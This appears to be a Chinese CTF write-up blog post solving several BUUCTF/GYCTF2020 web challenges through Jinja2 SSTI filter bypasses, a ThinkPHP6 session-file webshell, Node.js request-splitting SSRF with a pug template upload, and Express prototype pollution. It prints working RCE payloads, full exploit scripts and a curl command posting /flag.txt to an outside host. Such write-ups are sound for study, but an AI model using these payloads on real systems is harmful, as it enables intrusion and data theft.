>>> open('/this_is_the_flag.txt').read()
'flag{e5e89aee-e541-4e03-815f-4528e263bf90}\n'

法二:SSTI绕过

拿到题目第一反应是想试试{{7*7}}但是/encode直接base64编码了,而/decode会报错

那我们把base64编码后的{{7*7}}传入/decode呢,发现回显是49,确定存在SSTI

但是传入payload后回显no no no!!

推测存在过滤(以后可以先fuzz再做题)

fuzz过程跳过,过滤了import,os,popen啥的

然后绕过关键字过滤就ok有几种方法

拼接绕过

{% for x in ().__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']	('cat /this_is_the_f'+'lag.txt').read() }}
	{%endif%}
{%endfor%}

逆序绕过

{% for x in ().__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}
	{%endif%}
{%endfor%}

回顾

在本地搞一个SSTI测试场景,输入PIN后测试,测试完正常关闭了服务

过了会又要测试个东西,发现重启服务后居然不用再次输入PIN就能进入dubug模式

检查发现和cookie有关,输入正确PIN后得到了一个cookie,带这个cookie访问就不用再次输入PIN了

然后这里记录一个简便的读取文件的payload,缺点是因为有很多个builtins所以会回显很多次

{% for c in [].__class__.__base__.__subclasses__() %}
    {% if '__builtins__' in c.__init__.__globals__ %}
        {{ c.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
    {% endif %}
{% endfor %}

哈哈其实就省略了一点,其实是担心常规些的比如下面这个,可能找不到想要的类,其实都差不多

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_ModuleLock' %}
  {% for b in c.__init__.__globals__ %}
           {%if b =='__builtins__' %}
                   {% print(c.__init__.__globals__['__builtins__']['open']('test.txt').read()) %}
           {%endif%}
  {% endfor %}
{% endif %}
{% endfor %}

推荐SSTI学习文章:(失效的话去study文件夹找SSTI注入语句总结)

https://blog.csdn.net/weixin_43536759/article/details/105066445

[GYCTF2020]EasyThinking

知识点补充

https://blog.csdn.net/mochu7777777/article/details/105160796

tp6任意文件操作漏洞

题目

image-20260323180517238

根据题目猜测可能又是thinkphp漏洞,扫后台

看一下/robots.txt

User-agent: * 
Disallow: /static/secretkey.txt

再看一下/static/secretkey.txt

image-20260323181304945

确定是tp6框架

不过做题时有个小插曲,不小心多打了个/,访问了//static/secretkey.txt,回显

you-will-never-guess

???

豆包说这是tp6路径解析bug,双斜杠可以绕过路由,直接读静态文件

再看看www.zip泄露,好多文件,而且没看到什么明显有用的

那我们直接看tp6漏洞

修改session

image-20260323182135100

这里要注意,本题需要在登录页面修改session

已知默认写入 runtime/session 目录下,文件名会添加sess_前缀,尝试访问/runtime/session/sess_aaaaaaaaaaaaaaaaaaaaaaaaaaaa.php

回显a:1:{s:3:"UID";i:2;}

本题是将post参数key的值写入文件,也就是搜索框

image-20260323183716531

phpinfo可以执行,但是Warning: shell_exec() has been disabled for security reasons

应该是有disable_function限制

写马连接蚁剑,终端执行啥命令都是ret=127命令不存在

找到根目录下flag文件为空,readflag文件经验证是linux程序文件,而且终端没法执行,没招了

复习下disable_function的绕过

在Pr0的训练场里有多解,这里先尝试用最便捷的方式

蚁剑插件,不同模式挨个试,最后PHP7 Backtrace UAF可以成功rce

cd /
./readflag

image-20260323191646382

最后贴一些常规方法的exp

https://github.com/mm0r1/exploits/tree/master

[GYCTF2020]Node Game

前置知识点

https://xz.aliyun.com/news/2574#toc-2

题目

image-20260323192053501

提示nodejs和pug

两个链接都点一下

import urllib.parse
import requests
 
url = "http://25c1707b-8925-480e-a1c9-5f093f7d7ea5.node4.buuoj.cn:81/"
 
payload = ''' HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: 127.0.0.1
Content-Length: 292
----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="flll.pug"
Content-Type: /../template
doctype html
html
  head
    style
      include ../../../../../../../flag.txt
----------------------------919695033422425209299810--
GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
 
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get(url + "core?q=" + urllib.parse.quote(payload))
print(r.text)

image-20260323192517815

不知道该干嘛了,看眼wp

再回到源码

file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);

/?action= 这里存在一个类似文件读取的功能

/?action=aaa时,回显

image-20260323201749807

查询/app/template/aaa.pug

法一

我们可以尝试利用路径穿越上传一个.pug文件然后用这个文件获取结果(假设文件会被解析)

贴一个脚本(其他有的脚本跑出来会502或者503,不清楚为啥)

https://kinseyy.github.io/2024/10/11/GYCTF2020-Node-Game-1/

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/
Connection: close
x:'''

#`Host: x` 中的 `x` 只是一个占位符,实际应该被替换为目标服务器的域名或 IP 地址,用来指明请求的目标主机。

payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)

我们倒着看,先看对payload的处理

payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
  1. ord(c) - 获取字符的Unicode
  2. hex(ord(c)) - 转换为十六进制字符串,如 '0x41'(字符 'A')
  3. [2:] - 去掉 0x 前缀,得到纯十六进制值
  4. .zfill(2) - 确保至少2位,前面补零
  5. '0xff' + ... - 在前面拼接 '0xff'
  6. int(..., 16) - 将这个字符串解释为十六进制数转换为十进制整数
  7. chr(...) - 将这个十进制整数转换回字符
  8. ''.join() - 将所有转换后的字符拼接

利用拆分攻击,确保绕过waf

再看paylaod本身,由三个http请求拼接而成(其实不是简单拼接,有“包含”的感觉,没感觉到不用急,继续往下看)

第一次请求:SSRF漏洞利用请求

基本信息

image-20260324193314888

请求完整内容
GET /core?q=HTTP%2F1.1%0D%0AHost%3A+x%0D%0AConnection%3A
+keep-alive%0D%0A%0D%0APOST+%2Ffile_upload+HTTP%2F1.
1%0D%0AContent-Type%3A+multipart%2Fform-data%3B
+boundary%3D----WebKitFormBoundaryO9LPoNAg9lWRUItA%0D%0ACont
ent-Length%3A+230%0D%0Acache-control%3A
+no-cache%0D%0AHost%3A+127.0.0.1%0D%0AConnection%3A
+keep-alive
+%0D%0A%0D%0A------WebKitFormBoundaryO9LPoNAg9lWRUItA%0D%0AC
ontent-Disposition%3A+form-data%3B+name%3D%22file%22%3B
+filename%3D%22lmonstergg.pug%22%0D%0AContent-Type%3A+../
template%0D%0A%0D%0Adoctype+html%0D%0Ahtml%0D%0A++head%0D%0A
++++style%0D%0A++++++include+../../../../../../../flag.
txt%0D%0A------WebKitFormBoundaryO9LPoNAg9lWRUItA--%0D%0A%0D
%0A%0D%0AGET+%2Fflag+HTTP%2F1.1%0D%0AHost%3A
+http%3A%2F%2F37ebda60-a853-4c03-88b1-5820f816c8af.node5.
buuoj.cn%3A81%2F%0D%0AConnection%3A+close%0D%0Ax%3A HTTP/1.1
Host: 37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

第二次请求:本地文件上传请求

基本信息

image-20260324193410092

请求完整内容
POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; 
boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: 230
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; 
filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--

第三次请求:模板渲染执行请求

基本信息

image-20260324193446023

请求完整内容
GET /?action=lmonstergg HTTP/1.1
Host: 37ebda60-a853-4c03-88b1-5820f816c8af.node5.buuoj.cn:81
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

有没有那种“包含”的感觉,第一个http包的内容是第二个包,有我们发给/core路由,被靶机接收后,把第二个http包发给/file_upload路由。

【星盟安全】Web系列教程 第2节 Nodejs ssrf

很巧,星盟用这道题讲的node.js的ssrf,可以听一下

法二

出题人的exp

https://blog.5am3.com/2020/02/11/ctf-node1/#自己出的-node-game

# exp.py

import requests
import sys

payloadRaw = """x HTTP/1.1

POST /file_upload HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942
Content-Length: 6279
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/?action=upload
Upgrade-Insecure-Requests: 1

-----------------------------12837266501973088788260782942
Content-Disposition: form-data; name="file"; filename="5am3_get_flag.pug"
Content-Type: ../template

- global.process.mainModule.require('child_process').execSync('evalcmd')
-----------------------------12837266501973088788260782942--


"""

def getParm(payload):
    payload = payload.replace(" ","%C4%A0")
    payload = payload.replace("\n","%C4%8D%C4%8A")
    payload = payload.replace("\"","%C4%A2")
    payload = payload.replace("'","%C4%A7")
    payload = payload.replace("`","%C5%A0")
    payload = payload.replace("!","%C4%A1")

    payload = payload.replace("+","%2B")
    payload = payload.replace(";","%3B")
    payload = payload.replace("&","%26")

    # Bypass Waf 
    payload = payload.replace("global","%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC")
    payload = payload.replace("process","%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("mainModule","%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5")
    payload = payload.replace("require","%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5")
    payload = payload.replace("root","%C5%B2%C5%AF%C5%AF%C5%B4")
    payload = payload.replace("child_process","%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3")
    payload = payload.replace("exec","%C5%A5%C5%B8%C5%A5%C5%A3")
    
    return payload

def run(url,cmd):
    payloadC =  payloadRaw.replace("evalcmd",cmd)
    urlC = url+"/core?q="+getParm(payloadC)
    requests.get(urlC)
    
    requests.get(url+"/?action=5am3_get_flag").text

if __name__ == '__main__':
    targetUrl = sys.argv[1]
    cmd = sys.argv[2]
    print run(targetUrl,cmd)

# python exp.py http://127.0.0.1:8081 "curl eval.com -X POST -d `cat /flag.txt`"

这个我实际跑出来也是502...

[GYCTF2020]Ez_Express

参考文章

https://www.cnblogs.com/LEOGG321/p/13448463.html

https://blog.csdn.net/scrawman/article/details/122664989

题目

image-20260324161900541

让我用ADMIN登录,但不知道密码,扫一下目录

www.zip泄露,看一下

index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) { //遍历b的所有属性
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

居然是nodejs原型链污染!之前没学过耶.....

紧急补充知识点

【星盟安全】Web系列教程 第3节 Nodejs 原型链污染(更新)

简单来说, 原型链污染 就是通过修改JavaScript对象的原型(prototype)来影响所有继承自该原型的对象。

在JavaScript中,每个对象都有一个 proto 属性,指向它的原型对象。当我们访问一个对象的属性时,如果对象本身没有这个属性,就会沿着原型链向上查找。

原型链污染的原理 :如果我们能够修改一个对象的 proto 属性,就可以影响所有继承自该原型的对象。

简单了解完之后我们开始代码审计,先大体看看每个路由

确定目标是/info路由下的模板渲染ssti

router.get('/info', function (req, res) {
  res.render('index', data={'user':res.outputFunctionName});
})

我们往前看参数从哪来

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});

我们看到他现在是undefined,而且没有其他地方对其操作

那就要考虑会不会用原型链污染对其处理(没想到也不要紧,积累吧,反正我没想到...)

大概到这不知道再往前怎么走了

再正着看,我们首先要登录

这里有一篇文章讲js大小写的特性

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

注册admın注意不是admin

image-20260324202016097

ADMIN应该就是被模板渲染的内容

于是抓/action的包,Content-Type设为application/json

payload

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

然后返回首页刷新下载flag

再倒着讲讲这么做的原因

让payload好看一点

{
  "lua":"a",
  "__proto__":{
    "outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"
  },
  "Submit":""
}

__proto__拿到原型,修改outputFunctionName属性,使污染后在模板渲染时造成ssti

我们看到action路由(也就是登录进去后的提交)

router.post('/action', function (req, res) {
  // 必须是 ADMIN 用户才能进入
  if(req.session.user.user!="ADMIN"){...} 
  
  // 这里执行 clone → merge
  req.session.user.data = clone(req.body);
  
  res.end("<script>alert('success');history.go(-1);</script>");  
});

发现执行了clone,找一下他是什么

const clone = (a) => {
  return merge({}, a);
}

再找一下merge是什么

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

也就是遍历req.body的所有属性,都合并到一个{}空对象里

(req.body存放前端 POST 提交过来的所有表单 / JSON 数据)

又因为我们使用的是__proto__,就直接污染到了Object 原型

所以!

所有对象的outputFunctionName属性都变成了我们恶意构造的ssti内容

最后讲下payload为什么这个格式,我们看到

image-20260324204450941

这里提交内容是两个参数(这个就是所谓的req.body)我们要在req.body造成我们的原型链污染(毕竟是把这里的属性合并给空对象),我们要新增一个属性(post参数)

再回看merge方法中 a[attr] = b[attr]

所以我们传入

"__proto__": { 恶意代码 }

程序就会执行:

a["__proto__"] = 恶意代码

这行代码的真实含义是:

a 的原型 = 恶意代码

因为 a{} 空对象,它的原型就是 Object.prototype

于是!

污染成功

Object.prototype.outputFunctionName = 恶意代码

再补充一句原型链污染时一般要用json格式

JSON 标准允许键名是 __proto__,其他语法可能会有其他解析

posted @ 2026-03-29 21:10  E73RN4L  阅读(10)  评论(0)    收藏  举报